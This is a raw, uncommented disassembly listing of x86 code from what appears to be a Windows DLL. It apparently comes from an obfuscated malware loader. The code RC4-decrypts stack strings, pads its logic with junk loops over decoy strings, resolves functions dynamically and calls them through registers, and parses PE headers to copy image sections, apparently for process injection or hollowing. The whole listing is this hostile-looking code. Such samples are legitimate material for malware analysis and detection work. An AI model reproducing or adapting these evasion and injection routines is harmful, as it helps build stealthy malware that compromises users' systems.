mov byte [esp + 0x8a], cl
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x74], 0x321933c0
mov dword [esp + 0x78], 0x84ef42cd
mov dword [esp + 0x7c], 0x7acc1160
mov dword [esp + 0x80], 0x4a5e89cc
mov dword [esp + 0x84], 0xdd229400
mov word [esp + 0x88], 0x6a53
mov dword [esp + 0x8b], 0xcee91d04
mov dword [esp + 0x8f], 0xcd695c5e
mov dword [esp + 0x93], 0x8a1a6671
mov dword [esp + 0x97], 0xaf74ffe3
mov word [esp + 0x9b], 0x313d
mov byte [esp + 0x9d], 0x35
movsw word es:[edi], word [esi]
cmp byte [str.avg_antitrack], al
je 0x100165ca
inc eax
cmp eax, 0x1646
je 0x100165bc
cmp byte [eax + str.avg_antitrack], 0
jne 0x100165a9
jmp 0x100165ca
push ecx
push ecx
mov edx, str._tfunction_paintValue_gfx_
call fcn.10014478
pop ecx
pop ecx
mov esi, dword [esp + 0x14]
and esi, 0xfa725274
call fcn.1001436d
mov edi, esi
mov edx, 0x13fd
push 0x64
and edi, 0xb2fd092c
mov eax, str.documentVersion
pop ecx
add edx, ecx
inc eax
cmp edx, 0xc14
ja 0x10016602
movsx ecx, byte [eax]
test ecx, ecx
jne 0x100165ee
jmp 0x10016607
call fcn.100147ee
lea eax, [esi + 0x724fa9b4]
mov edx, 0xa54
xor esi, esi
mov dword [esp + 0x14], eax
push 0x64
mov dword [esp + 0x14], esi
mov eax, str.documentVersion
pop ecx
add edx, ecx
inc eax
cmp edx, 0x10b6
ja 0x1001663c
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10016624
mov edx, dword [esp + 0x14]
jmp 0x10016646
mov edx, dword [esp + 0x14]
imul edi, edx, 0x36b5e662
and edi, 0xe318e80
mov dword [esp + 0x18], edi
imul edi, edx, 0x9c3613df
push str.SEC_E_PKINIT_CLIENT_FAILURE
push ecx
mov ecx, edi
call fcn.10014cd1
pop ecx
pop ecx
xor eax, eax
mov ecx, eax
mov byte [esp + ecx + 0x200], cl
inc ecx
cmp ecx, 0x100
jb 0x10016669
xor edx, edx
mov dword [esp + 0x20], 0x15
mov eax, esi
mov cl, byte [esp + esi + 0x200]
div dword [esp + 0x20]
mov byte [esp + 0xf], cl
movzx ecx, cl
movzx eax, byte [esp + edx + 0x5c]
add eax, dword [esp + 0x10]
add ecx, eax
movzx eax, cl
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + esi + 0x200], al
or dword [esp + 0x18], 0xc92ba38f
and edi, 0x5313b4b3
call fcn.10014e32
mov ecx, dword [esp + 0x10]
inc esi
mov al, byte [esp + 0xf]
mov byte [esp + ecx + 0x200], al
cmp esi, 0x100
jb 0x10016679
xor eax, eax
mov dword [esp + 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [esp + 0x10]
mov cl, byte [esp + edi + 0x200]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + edi + 0x200], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x200], cl
movzx eax, byte [esp + edi + 0x200]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x200]
xor al, byte [esp + esi + 0x74]
movzx eax, al
mov word [esp + esi*2 + 0x3f8], ax
inc esi
cmp esi, 0x2a
jb 0x100166ec
mov edx, dword [esp + 0x14]
xor eax, eax
mov esi, edx
mov word [esp + 0x44c], ax
xor esi, 0x1c6f5dc3
mov dword [esp + 0x28], 0x14
mov edi, eax
mov dword [esp + 0x2c], 0x2e
mov dword [esp + 0x30], 0xffffffbe
mov ecx, eax
sub edi, dword [esp + ecx*4 + 0x28]
inc ecx
cmp ecx, 3
jl 0x1001677d
mov dword [esp + 0x148], edi
mov ecx, eax
mov edi, eax
mov dword [esp + 0x28], 0x46
mov dword [esp + 0x2c], 0x2f
mov dword [esp + 0x30], 0xffffff8b
sub edi, dword [esp + ecx*4 + 0x28]
inc ecx
cmp ecx, 3
jl 0x100167aa
mov dword [esp + 0x170], edi
cmp byte [str.SEC_E_PKINIT_CLIENT_FAILURE], al
je 0x100167e0
inc eax
cmp eax, 0xc27
je 0x100167d6
cmp byte [eax + str.SEC_E_PKINIT_CLIENT_FAILURE], 0
jne 0x100167c3
jmp 0x100167e0
imul edx, esi, 0xc886b146
mov dword [esp + 0x14], edx
xor esi, 0xbc663cf1
imul edi, edx, 0x9dc4d30f
mov dword [esp + 0x10], edi
call fcn.10014e32
mov al, byte [str.avg_antitrack]
mov ecx, str.avg_antitrack
jmp 0x1001680a
sub al, 0x30
cmp al, 9
ja 0x10016810
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10016801
jmp 0x1001681b
mov eax, edi
or eax, 0xf1abde0
mov dword [esp + 0x14], eax
and esi, 0xc6e6cfca
mov ecx, esi
call fcn.1001508e
mov dword [esp + 0x3c], 0x62
movaps xmm1, xmm2
mov dword [esp + 0x40], 0x2a
mov dword [esp + 0x44], 0x54
mov dword [esp + 0x48], 0xffffff20
movups xmm0, xmmword [esp + 0x3c]
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [esp + 0x16c], xmm1
mov dword [esp + 0x3c], 0x1d
lea eax, [edi - 0x3328eb7]
mov dword [esp + 0x40], 0x25
movaps xmm1, xmm2
mov dword [esp + 0x44], 0x58
mov dword [esp + 0x48], 0xffffff6f
movups xmm0, xmmword [esp + 0x3c]
mov dword [esp + 0x18], eax
push 0x38
psubd xmm1, xmm0
mov dword [esp + 0x2c], 0x4e
movaps xmm0, xmm1
mov dword [esp + 0x30], 0x3d
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x34], 0xffffffa9
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
pop ecx
push 3
add eax, 0xa
xor edx, edx
mov dword [esp + 0x16c], eax
mov eax, edx
pop edi
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, edi
jl 0x100168f3
push 5
pop esi
mov dword [esp + 0x3c], 0x50
mov dword [esp + 0x40], 0x1f
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0xffffff77
movups xmm1, xmmword [esp + 0x3c]
mov dword [esp + 0x164], ecx
mov ecx, edx
mov dword [esp + 0x28], 0x2f
paddd xmm1, xmm2
mov dword [esp + 0x2c], 0x3c
movaps xmm0, xmm1
mov dword [esp + 0x30], 0xffffff95
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x1d
mov dword [esp + 0x160], eax
mov eax, edx
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, edi
jl 0x1001696d
push 0x43
mov dword [esp + 0x160], ecx
mov eax, edx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0x12
mov dword [esp + 0x34], 0xffffffa6
pop ecx
add ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, edi
jl 0x10016996
push 8
mov dword [esp + 0x15c], ecx
pop ecx
push 0xb
pop eax
mov dword [esp + 0x2c], eax
mov eax, edx
mov dword [esp + 0x28], 0x2d
mov dword [esp + 0x30], 0xffffffcf
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, edi
jl 0x100169c2
mov dword [esp + 0x108], ecx
lea edi, [esp + 0x5c]
mov ecx, esi
mov dword [esp + 0xb8], 0x59dc2626
mov esi, str.Remove_From_Ignored
mov dword [esp + 0xbc], 0x2f5751e6
rep movsd dword es:[edi], dword [esi]
imul esi, dword [esp + 0x10], 0x434ea46b
mov eax, edx
mov dword [esp + 0xc0], 0xc99fac27
mov dword [esp + 0xc4], 0xd787db7b
mov dword [esp + 0xc8], 0xe480165c
mov dword [esp + 0xcc], 0xfbff7ee3
mov dword [esp + 0xd0], 0xd6f33fc6
mov byte [esp + 0xd4], 0x7b
cmp byte [str.avg_antitrack], al
je 0x10016a76
inc eax
cmp eax, 0xcf8
jg 0x10016a5f
cmp byte [eax + str.avg_antitrack], dl
jne 0x10016a46
cmp eax, 0x72c
jle 0x10016a76
jmp 0x10016a6a
mov eax, esi
and eax, 0xd6ed5433
mov dword [esp + 0x18], eax
mov ecx, str.updatelibrary
call fcn.10014d87
xor edx, edx
imul edi, dword [esp + 0x18], 0xd105d218
mov dword [esp + 0x10], edi
or esi, 0x96ac6b38
mov dword [esp + 0x54], edx
cmp dword [esp + 0x50], 0
mov ecx, 0xc0a
mov eax, str.avg_antitrack
je 0x10016acc
add ecx, dword [esp + 0x50]
inc eax
mov edi, dword [esp + 0x10]
cmp ecx, 0x2148
ja 0x10016abb
movzx edi, byte [eax]
mov dword [esp + 0x50], edi
test edi, edi
jne 0x10016a9d
jmp 0x10016acc
mov ecx, dword [esp + 0x14]
call fcn.1001508e
mov esi, edi
or esi, 0x9327c962
or esi, 0x8f6a3815
mov eax, edx
mov dword [esp + 0x18], esi
mov byte [esp + eax + 0x200], al
inc eax
cmp eax, 0x100
jb 0x10016ad8
mov esi, dword [esp + 0x54]
mov edi, edx
xor edx, edx
mov cl, byte [esp + edi + 0x200]
mov eax, edi
mov byte [esp + 0xf], cl
div dword [esp + 0xa0]
movzx ecx, cl
movzx eax, byte [esp + edx + 0x5c]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [esp + esi + 0x200]
mov byte [esp + edi + 0x200], al
inc edi
mov al, byte [esp + 0xf]
mov byte [esp + esi + 0x200], al
cmp edi, 0x100
jb 0x10016aed
mov esi, dword [esp + 0x18]
xor edx, edx
mov dword [esp + 0x10], edx
mov eax, edx
mov edi, edx
inc eax
movzx ecx, al
mov dword [esp + 0x20], ecx
mov al, byte [esp + ecx + 0x200]
mov byte [esp + 0xf], al
movzx eax, al
mov dword [esp + 0x54], eax
add eax, dword [esp + 0x10]
cmp byte [str.SEC_E_PKINIT_CLIENT_FAILURE], 0
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + ecx + 0x200], al
mov eax, edx
je 0x10016ba7
inc eax
cmp eax, 0x524
jl 0x10016ba1
cmp byte [eax + str.SEC_E_PKINIT_CLIENT_FAILURE], 0
jne 0x10016b80
cmp eax, 0x1360
jle 0x10016ba7
mov ecx, esi
call fcn.1001505f
jmp 0x10016ba7
add esi, 0x6247170
mov ecx, dword [esp + 0x10]
and esi, 0x94b1b843
mov al, byte [esp + 0xf]
mov byte [esp + ecx + 0x200], al
mov ecx, dword [esp + 0x20]
movzx eax, byte [esp + ecx + 0x200]
add eax, dword [esp + 0x54]
movzx eax, al
mov al, byte [esp + eax + 0x200]
mov byte [esp + 0xf], al
mov eax, edx
inc eax
cmp eax, 0x1e0a
je 0x10016bf4
cmp byte [eax + str.documentVersion], 0
jne 0x10016bdc
cmp eax, 0x142c
jle 0x10016bfb
call fcn.100147ee
xor edx, edx
mov ecx, dword [esp + 0x14]
lea ecx, [ecx - 0x51168860]
mov eax, esi
or eax, 0x571e851d
imul esi, esi, 0x423d0675
add eax, 0xbfc95e8
mov dword [esp + 0x14], eax
call fcn.1001505f
mov al, byte [esp + edi + 0xb8]
xor al, byte [esp + 0xf]
mov byte [esp + edi + 0x74], al
inc edi
mov eax, dword [esp + 0x20]
cmp edi, 0x1d
jb 0x10016b42
mov dword [esp + 0x3c], 7
movaps xmm1, xmm2
mov dword [esp + 0x40], 0x26
mov edi, edx
mov dword [esp + 0x44], 0x1b
mov dword [esp + 0x48], 0xffffff8f
movups xmm0, xmmword [esp + 0x3c]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x40], 0x42
paddd xmm1, xmm0
mov dword [esp + 0x44], 8
movaps xmm0, xmm1
mov dword [esp + 0x48], 0xffffffe7
psrldq xmm0, 8
paddd xmm1, xmm0
mov byte [esp + 0x91], dl
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movups xmm0, xmmword [esp + 0x3c]
push 0x29
movd eax, xmm1
movaps xmm1, xmm2
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
pop ecx
add eax, ecx
psrldq xmm0, 4
mov dword [esp + 0x10], eax
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x48
cmp byte [str.avg_antitrack], 0
mov dword [esp + 0x120], eax
je 0x10016d0b
inc edx
cmp edx, 0x196b
jg 0x10016d06
cmp byte [edx + str.avg_antitrack], 0
jne 0x10016cf2
jmp 0x10016d0b
call fcn.100148b3
mov esi, dword [esp + 0x14]
xor esi, 0x1ed02220
mov dword [esp + 0x14], esi
mov dword [0x10027f70], esi
push 9
mov edx, 0x15f2
mov eax, str._t_tloadContent_ContentType.CleaningResults__
pop ecx
add edx, ecx
inc eax
cmp edx, 0x19f2
ja 0x10016d40
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10016d2c
jmp 0x10016d4c
mov edx, esi
mov ecx, str.site_engagement
call fcn.10014430
add esi, 0x9edde549
imul eax, esi, 0x4335ed29
mov dword [esp + 0x18], eax
call fcn.10014ae6
xor eax, eax
mov dword [esp + 0x5c], 0x2e
mov dword [esp + 0x60], 0xf
mov ecx, eax
mov dword [esp + 0x64], 0x4b
mov dword [esp + 0x68], 0x3a
mov dword [esp + 0x6c], 0xffffff3e
sub edi, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 5
jl 0x10016d8d
mov dword [esp + 0x50], edi
mov edx, eax
mov dword [esp + 0x5c], 0x44
mov ecx, eax
mov dword [esp + 0x60], 0x1e
mov dword [esp + 0x64], 0x41
mov dword [esp + 0x68], 0x1b
mov dword [esp + 0x6c], 0xffffff42
sub edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 5
jl 0x10016dc7
mov dword [esp + 0x118], edx
push 0x24
pop edx
mov dword [esp + 0x28], 6
mov ecx, eax
mov dword [esp + 0x2c], 0x4f
mov dword [esp + 0x30], 0xffffffcb
sub edx, dword [esp + ecx*4 + 0x28]
inc ecx
cmp ecx, 3
jl 0x10016df5
mov dword [esp + 0x11c], edx
mov ecx, eax
mov edx, eax
mov dword [esp + 0x28], 0x21
mov dword [esp + 0x2c], 0x4e
mov dword [esp + 0x30], 0xffffff91
sub edx, dword [esp + ecx*4 + 0x28]
inc ecx
cmp ecx, 3
jl 0x10016e22
push 0x60
mov edi, esi
mov dword [esp + 0x130], edx
pop edx
mov dword [esp + 0xa0], 0x34
or edi, 0x3630dc24
mov dword [esp + 0xa4], 0xf6c
mov ecx, eax
add edx, dword [esp + ecx*4 + 0xa0]
inc ecx
cmp ecx, 2
jl 0x10016e56
mov dword [esp + 0x128], edx
mov ecx, eax
mov edx, 0x10000
mov dword [esp + 0x5c], 0x39
mov dword [esp + 0x60], 0x27
mov dword [esp + 0x64], 0x63
mov dword [esp + 0x68], 0x5c
mov dword [esp + 0x6c], 0xdee1
sub edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 5
jl 0x10016e99
mov ecx, dword [esp + 0x18]
mov esi, eax
mov dword [esp + 0x124], edx
add ecx, 0xcec922b1
inc esi
cmp esi, 0xe3c
jg 0x10016ec9
cmp byte [esi + str._t_tloadContent_ContentType.CleaningResults__], al
jne 0x10016eb6
jmp 0x10016ef7
call fcn.100150cc
mov ecx, dword [esp + 0x14]
add ecx, 0x9edde549
or ecx, 0x43f3d2f
cmp esi, 0xf17
jle 0x10016ef5
call fcn.1001474c
mov ecx, dword [esp + 0x18]
xor ecx, 0xce12b1e3
xor eax, eax
mov dword [esp + 0x3c], 0x39
lea esi, [edi + 0x7170e1d3]
mov dword [esp + 0x40], 0xe
movaps xmm1, xmm2
mov dword [esp + 0x44], 0x60
mov edx, eax
mov dword [esp + 0x48], 0xffffff49
movups xmm0, xmmword [esp + 0x3c]
mov dword [esp + 0x5c], 0x47
imul edi, ecx, 0x2aafb590
paddd xmm1, xmm0
mov dword [esp + 0x60], 5
movaps xmm0, xmm1
mov dword [esp + 0x64], 0x10
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x68], 0x48
movups xmm0, xmm1
mov dword [esp + 0x6c], 0xffffff5c
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
add ecx, 0x50
mov dword [esp + 0x14], ecx
mov ecx, eax
sub edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 5
jl 0x10016f7e
mov dword [esp + 0x3c], 0x10
movaps xmm1, xmm2
mov dword [esp + 0x40], 0x64
mov ecx, eax
mov dword [esp + 0x44], 0x26
mov dword [esp + 0x48], 0xffffff66
movups xmm0, xmmword [esp + 0x3c]
push 0x32
mov dword [esp + 0x108], edx
psubd xmm1, xmm0
mov dword [esp + 0x60], 0x44
movaps xmm0, xmm1
mov dword [esp + 0x64], 2
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x68], 0x51
movups xmm0, xmm1
mov dword [esp + 0x6c], 1
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [esp + 0x70], 0xffffff95
movd dword [esp + 0x24], xmm1
pop edx
sub edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 5
jl 0x10017006
mov dword [esp + 0x3c], 0x21
movaps xmm1, xmm2
mov dword [esp + 0x40], 0x45
mov dword [esp + 0x44], 0x4c
mov dword [esp + 0x48], 0xffffff4e
movups xmm0, xmmword [esp + 0x3c]
mov dword [esp + 0xac], edx
mov edx, esi
xor edx, 0xcf0a5764
sub esi, 0x44f1a65b
psubd xmm1, xmm0
mov dword [0x1002814c], edx
movaps xmm0, xmm1
mov dword [0x10027f44], esi
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [esp + 0x18], xmm1
inc eax
cmp eax, 0x504
je 0x1001708e
cmp byte [eax + str._t_tloadContent_ContentType.CleaningResults__], 0
jne 0x1001707b
jmp 0x1001709a
lea edx, [edi - 0x7be4120c]
mov dword [0x1002814c], edx
push ecx
or edx, 0x40508463
push ecx
mov dword [0x10027f70], edx
call fcn.10014cad
pop ecx
pop ecx
xor eax, eax
mov dword [esp + 0xa0], 0x4e
push 0x41
mov dword [esp + 0xa8], 0xffffff71
mov ecx, eax
pop edi
add edi, dword [esp + ecx*4 + 0xa0]
inc ecx
cmp ecx, 2
jl 0x100170cc
push 9
mov dword [esp + 0x134], edi
pop ecx
mov dword [esp + 0xa0], 0x25
mov dword [esp + 0xa4], 0xffffffd2
add ecx, dword [esp + eax*4 + 0xa0]
inc eax
cmp eax, 2
jl 0x100170f9
mov dword [esp + 0xa0], ecx
mov al, 9
mov ecx, str._t_tloadContent_ContentType.CleaningResults__
sub al, 0x30
cmp al, 9
ja 0x10017123
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10017114
jmp 0x1001712f
sub esi, 0x6acac66
mov dword [0x10027f44], esi
imul eax, edx, 0xd539a533
mov dword [0x10028180], eax
call fcn.100148b3
mov eax, dword [esp + 0x100]
push 0x10
push dword [esp + 0x144]
mov dword [esp + 0x108], eax
lea eax, [esp + 0xf4]
push eax
call fcn.10013d37
mov al, byte [str.SEC_E_PKINIT_CLIENT_FAILURE]
add esp, 0xc
mov ecx, str.SEC_E_PKINIT_CLIENT_FAILURE
jmp 0x1001717b
sub al, 0x30
cmp al, 9
ja 0x10017181
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10017172
jmp 0x10017190
mov eax, dword [0x10028180]
add eax, 0x466f3ee
mov dword [0x10027f44], eax
mov eax, dword [0x10027f44]
push ecx
xor eax, 0x3de589e2
push ecx
mov ecx, dword [0x10027f70]
mov dword [0x1002814c], eax
call fcn.100146ee
push 0x48
pop edi
push edi
push dword [esp + 0x120]
lea eax, [esp + 0x320]
push eax
call fcn.10013d37
mov ecx, dword [esp + 0xec]
lea eax, [esp + 0x114]
add esp, 0x14
lea edx, [esp + 0x3b0]
push eax
push ecx
push dword [esp + 0x17c]
mov ecx, dword [esp + 0x18c]
push dword [esp + 0x188]
call fcn.1001adf3
call eax
mov ecx, dword [esp + 0x100]
call fcn.10013726
lea ecx, [esp + 0x100]
mov dword [esp + 0x354], eax
push ecx
push dword [esp + 0x188]
mov ecx, dword [esp + 0x194]
lea edx, [esp + 0x3dc]
push dword [esp + 0x190]
push eax
call fcn.1001adf3
call eax
mov edx, dword [esp + 0x190]
xor eax, eax
push dword [esp + 0x194]
xor ecx, ecx
xor esi, esi
push dword [esp + 0x19c]
add edx, esi
bts eax, edx
cmp edx, 0x20
push 8
cmovae ecx, eax
xor eax, ecx
cmp edx, 0x40
mov dword [esp + 0x34], eax
lea edx, [esp + 0x364]
cmovae ecx, eax
lea eax, [esp + 0x34]
push eax
mov eax, dword [esp + 0x1ac]
cmp eax, dword [esp + 0x1b0]
mov eax, dword [esp + 0x1b8]
mov dword [esp + 0x3c], ecx
mov ecx, dword [esp + 0x1b4]
cmovne ecx, dword [esp + 0x164]
cmp eax, dword [esp + 0x1bc]
mov eax, dword [esp + 0xc4]
cmovne eax, dword [esp + 0x68]
or ecx, eax
mov eax, dword [esp + 0x5c]
cmp eax, dword [esp + 0x1c0]
mov eax, dword [esp + 0x34]
cmovne eax, dword [esp + 0x1c4]
or ecx, eax
mov eax, dword [esp + 0x1c8]
and eax, 7
or ecx, eax
push ecx
push dword [esp + 0x1d0]
mov ecx, dword [esp + 0x1d8]
push dword [esp + 0x36c]
call fcn.1001adf3
call eax
mov eax, dword [esp + 0x150]
mov dword [esp + 0x310], edi
or eax, 0x80000
mov ecx, dword [esp + 0x138]
mov dword [esp + 0x33c], eax
lea edx, [esp + 0x300]
mov eax, dword [esp + 0x178]
mov word [esp + 0x340], ax
lea eax, [esp + 0xec]
push eax
lea eax, [esp + 0x314]
push eax
push dword [esp + 0x160]
mov eax, dword [esp + 0x16c]
push dword [esp + 0x168]
or eax, dword [esp + 0x174]
or eax, 0x8080000
push eax
push dword [esp + 0x17c]
lea eax, [esp + 0x410]
push dword [esp + 0x184]
push dword [esp + 0x18c]
push dword [esp + 0x168]
push eax
call fcn.1001adf3
call eax
test eax, eax
jne 0x100173e7
add dword [0x10028180], 0x77009ce7
push 0x50
pop eax
push 0x33
mov dword [esp + 0xa4], eax
mov dword [esp + 0xa8], eax
xor eax, eax
mov dword [esp + 0xac], 0xffffff2d
pop ecx
add ecx, dword [esp + eax*4 + 0xa0]
inc eax
cmp eax, 3
jl 0x100173bb
mov dword [esp + 0x138], ecx
mov ecx, dword [esp + 0x354]
call fcn.10013a66
mov eax, dword [esp + 0x138]
jmp 0x10017e64
push dword [esp + 0x354]
mov ecx, dword [esp + 0x10c]
lea edx, [esp + 0x78]
call fcn.1001adf3
call eax
mov ecx, dword [esp + 0x354]
call fcn.10013a66
push dword [esp + 0x10]
lea eax, [esp + 0xbc]
push 0x18
push eax
push esi
push dword [esp + 0xfc]
call fcn.1001b431
mov eax, dword [esp + 0x64]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x12c]
mov dword [esp + 0x68], eax
imul eax, dword [0x10027f70], 0xd02db205
mov dword [0x1002814c], eax
lea eax, [esp + 0x68]
push eax
push dword [esp + 0x134]
lea eax, [esp + 0x38]
push eax
mov eax, dword [esp + 0xdc]
add eax, dword [esp + 0x140]
push eax
push dword [esp + 0x110]
call fcn.1001b413
imul eax, dword [0x10027f70], 0xe6a887ce
mov ecx, dword [esp + 0x124]
push dword [esp + 0x44]
and dword [0x1002814c], 0xd429c3ac
push dword [esp + 0x118]
mov dword [0x10028180], eax
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [esp + 0xe4], eax
mov eax, dword [eax + 0x50]
mov dword [esp + 0x170], eax
call fcn.1001b43b
push dword [esp + 0x44]
mov eax, dword [esp + 0x158]
or eax, dword [esp + 0x15c]
push eax
lea eax, [esp + 0x178]
push eax
push dword [esp + 0x168]
lea eax, [esp + 0x5c]
push eax
push dword [esp + 0x130]
call fcn.1001b427
add esp, 0x48
mov edi, dword [0x10027f44]
or edi, 0xf28a178e
mov dword [0x10027f70], edi
mov ecx, str.unsupported_file_format
call fcn.10014d87
cmp byte [str.SEC_E_PKINIT_CLIENT_FAILURE], 0
je 0x1001752f
inc esi
cmp esi, 0x1139
je 0x1001752a
cmp byte [esi + str.SEC_E_PKINIT_CLIENT_FAILURE], 0
jne 0x10017516
jmp 0x1001752f
call fcn.1001436d
mov eax, edi
and eax, 0xb15e1f58
mov dword [0x1002814c], eax
push dword [esp + 0x104]
mov eax, dword [esp + 0x20]
or edi, 0xe5a27f9c
mov esi, dword [esp + 0x100]
mov ecx, eax
mov dword [0x10027f44], edi
mov edi, dword [esp + 0xb8]
push dword [edi + 0x54]
sub ecx, dword [edi + 0x34]
mov dword [edi + 0x34], eax
push esi
push dword [esp + 0x28]
mov dword [esp + 0x138], ecx
push dword [esp + 0xfc]
call fcn.1001b41d
movzx eax, word [edi + 6]
lea edx, [esi + 0xf8]
add edx, dword [esi + 0x3c]
add esp, 0x14
mov ecx, eax
mov dword [esp + 0x10], edx
cmp dword [esp + 0x20], eax
jge 0x1001760d
mov dword [esp + 0x108], 0x4b
lea esi, [edx + 0x14]
mov dword [esp + 0x10c], 0x34
mov dword [esp + 0x110], 0xffffff81
xor eax, eax
mov ecx, eax
sub ecx, dword [esp + eax*4 + 0x108]
inc eax
cmp eax, 3
jl 0x100175c7
mov eax, dword [esi]
add eax, dword [esp + 0xfc]
push ecx
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [esp + 0x28]
push eax
push dword [esp + 0xfc]
call fcn.1001b41d
mov edx, dword [esp + 0x34]
add esp, 0x14
movzx ecx, word [edi + 6]
add esi, 0x28
inc edx
mov dword [esp + 0x20], edx
cmp edx, ecx
jl 0x100175c3
mov edx, dword [esp + 0xac]
mov eax, dword [edi + edx*8 + 0x78]
mov edx, dword [edi + edx*8 + 0x7c]
mov dword [esp + 0xac], eax
movzx eax, cx
mov dword [esp + 0xd8], edx
cmp dword [esp + 0x18], eax
jge 0x10017d3f
mov esi, dword [0x1002814c]
mov dword [esp + 0x3c], 0x21
mov dword [esp + 0x40], 0x35
mov dword [esp + 0x44], 0x1b
mov dword [esp + 0x48], 0xffffff8f
movups xmm0, xmmword [esp + 0x3c]
mov dword [esp + 0x108], 0x33a3c0f1
mov word [esp + 0x10c], 0x2eeb
mov dword [esp + 0x148], 1
mov dword [esp + 0x14c], 0xffffffb4
mov dword [esp + 0x5c], 0x18
mov dword [esp + 0x60], 0x26
mov dword [esp + 0x64], 0x55
mov dword [esp + 0x68], 0xffffff46
mov dword [esp + 0x58], esi
push 0xa
pop ecx
mov esi, str._tbackground_image:_image_map_group4Icon__
lea edi, [esp + 0x374]
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov eax, ecx
mov dword [esp + 0x24], ecx
movsw word es:[edi], word [esi]
cmp byte [str.SEC_E_PKINIT_CLIENT_FAILURE], al
je 0x100176f9
inc eax
cmp eax, 0x256a
je 0x100176e6
cmp byte [eax + str.SEC_E_PKINIT_CLIENT_FAILURE], cl
jne 0x100176d4
jmp 0x100176f9
push dword [0x10027f44]
mov ecx, str.avg_antitrack
call fcn.1001466e
pop ecx
xor ecx, ecx
mov eax, dword [0x10028180]
add eax, 0x56f05fbf
mov dword [esp + 0xac], eax
mov esi, dword [esp + 0x58]
mov eax, ecx
imul edi, esi, 0x8c6ec3f
mov byte [esp + eax + 0x200], al
inc eax
cmp eax, 0x100
jb 0x10017716
mov edx, ecx
mov dword [esp + 0x4c], ecx
cmp byte [str.avg_antitrack], 0
je 0x1001775c
inc ecx
cmp ecx, 0x243f
jg 0x10017748
cmp byte [ecx + str.avg_antitrack], 0
jne 0x10017734
jmp 0x1001775c
mov ecx, dword [esp + 0xac]
call fcn.1001505f
mov edi, esi
or edi, 0x860d2a90
mov cl, byte [esp + edx + 0x200]
mov eax, edi
and eax, 0xafd8c17c
mov byte [esp + 0xf], cl
mov dword [esp + 0x14], eax
mov eax, edx
xor edx, edx
movzx ecx, cl
div dword [esp + 0x1e0]
push 0
movzx eax, byte [esp + edx + 0x378]
add eax, dword [esp + 0x28]
mov edx, dword [esp + 0x50]
add ecx, eax
movzx ecx, cl
mov dword [esp + 0x28], ecx
mov al, byte [esp + ecx + 0x204]
mov byte [esp + edx + 0x204], al
inc edx
mov al, byte [esp + 0x13]
mov byte [esp + ecx + 0x204], al
mov dword [esp + 0x50], edx
pop ecx
cmp edx, 0x100
jb 0x1001772b
xor edx, edx
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edx
mov eax, edx
mov dword [esp + 0x50], edx
inc eax
mov dword [esp + 0x4c], 0x1d51
movzx eax, al
mov dword [esp + 0x58], eax
push 9
mov cl, byte [esp + eax + 0x204]
mov eax, dword [esp + 0x28]
movzx edi, cl
add eax, edi
mov dword [esp + 0xb0], edi
mov edi, dword [esp + 0x5c]
movzx eax, al
mov dword [esp + 0x28], eax
mov al, byte [esp + eax + 0x204]
mov byte [esp + edi + 0x204], al
mov eax, dword [esp + 0x28]
mov edi, dword [esp + 0x24]
mov byte [esp + eax + 0x204], cl
mov eax, str._t_tloadContent_ContentType.CleaningResults__
pop ecx
add dword [esp + 0x4c], ecx
inc eax
cmp dword [esp + 0x4c], 0x17f1
ja 0x10017845
movsx ecx, byte [eax]
test ecx, ecx
jne 0x1001782d
jmp 0x1001785f
call fcn.1001474c
or dword [esp + 0x14], 0x926655eb
mov edx, edi
push ecx
push ecx
call fcn.10014cad
pop ecx
pop ecx
xor edx, edx
